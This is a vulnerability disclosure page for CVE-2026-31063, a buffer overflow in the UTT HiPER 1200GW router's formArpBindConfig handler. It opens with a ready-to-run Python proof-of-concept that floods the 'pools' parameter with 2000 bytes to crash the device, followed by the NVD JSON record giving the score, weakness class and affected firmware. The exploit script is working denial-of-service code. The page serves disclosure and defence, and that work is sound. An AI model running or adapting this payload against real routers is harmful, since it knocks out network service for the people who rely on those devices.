CVE-2026-31063

import requests # Target configuration target_ip = "192.168.1.1" # Replace with the actual device IP target_url = f"http://{target_ip}/formArpBindConfig" # Constructing the payload to trigger the buffer overflow # The 'pools' parameter is vulnerable. Sending a large string to overflow the buffer. payload = { "pools": "A" * 2000 # Adjust length based on specific buffer size analysis } try: # Sending the malicious request # Note: This requires High Privileges (PR:H) and Adjacent Network access (AV:A) response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") if response.status_code != 200: print("Device may have crashed (DoS triggered) or connection refused.") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") print("This indicates the device is likely unresponsive due to the exploit.")

{"cve": {"id": "CVE-2026-31063", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:08.953", "lastModified": "2026-04-10T18:19:19.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "UTT Aggressive HiPER 1200GW v2.5.3-170306 was discovered to contain a buffer overflow in the pools parameter of the formArpBindConfig function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:utt:1200gw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.5.3-170306", "matchCriteriaId": "E6B9088C-B1D0-4CA9-8E97-D302F0FA3BB8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:utt:1200gw:-:*:*:*:*:*:*:*", "matchCriteriaId": "DEDA8150-432A-4F7E-89DC-041B1607D53B"}]}]}], "references": [{"url": "https://github.com/zxq0408/Vul202601/blob/main/4.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}